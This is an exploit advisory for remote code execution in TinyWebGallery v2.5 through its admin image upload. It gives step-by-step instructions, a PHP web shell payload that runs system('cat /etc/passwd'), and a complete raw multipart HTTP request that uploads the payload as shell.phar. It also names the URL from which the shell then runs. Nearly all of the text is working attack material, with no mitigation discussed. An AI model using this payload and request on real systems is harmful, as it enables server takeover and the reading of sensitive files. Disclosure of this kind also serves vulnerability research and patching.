TinyWebGallery 2.5 Shell Upload

`#Exploit Title: TinyWebGallery v2.5 - Remote Code Execution (RCE)  
#Application: TinyWebGallery  
#Version: v2.5  
#Bugs: RCE  
#Technology: PHP  
#Vendor URL: http://www.tinywebgallery.com/  
#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest  
#Date of found: 07-05-2023  
#Author: Mirabbas Ağalarov  
#Tested on: Linux   
  
2. Technical Details & POC  
========================================  
steps:   
  
1. Go to upload image http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true  
2. upload .phar file  
payload: payload: <?php echo system("cat /etc/passwd"); ?>  
3. go to file link   
  
  
poc request:  
  
  
POST /twg25/admin/index.php?action=upload&dir=&order=name&srt=yes&tview=no&sview=no&lang=en HTTP/1.1  
Host: localhost  
Content-Length: 2123  
Cache-Control: max-age=0  
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary53rZRhJinqaMm7Ip  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k  
Connection: close  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="token"  
  
b2ed5512107a625ef9d5688ced296c61  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
2097152  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="confirm"  
  
true  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename="shell.phar"  
Content-Type: application/octet-stream  
  
<?php echo system("cat /etc/passwd"); ?>  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="twgsize"  
  
100000  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="twgquality"  
  
80  
------WebKitFormBoundary53rZRhJinqaMm7Ip--  
  
  
  
  
  
http://localhost/twg25/pictures/shell.phar  
  
`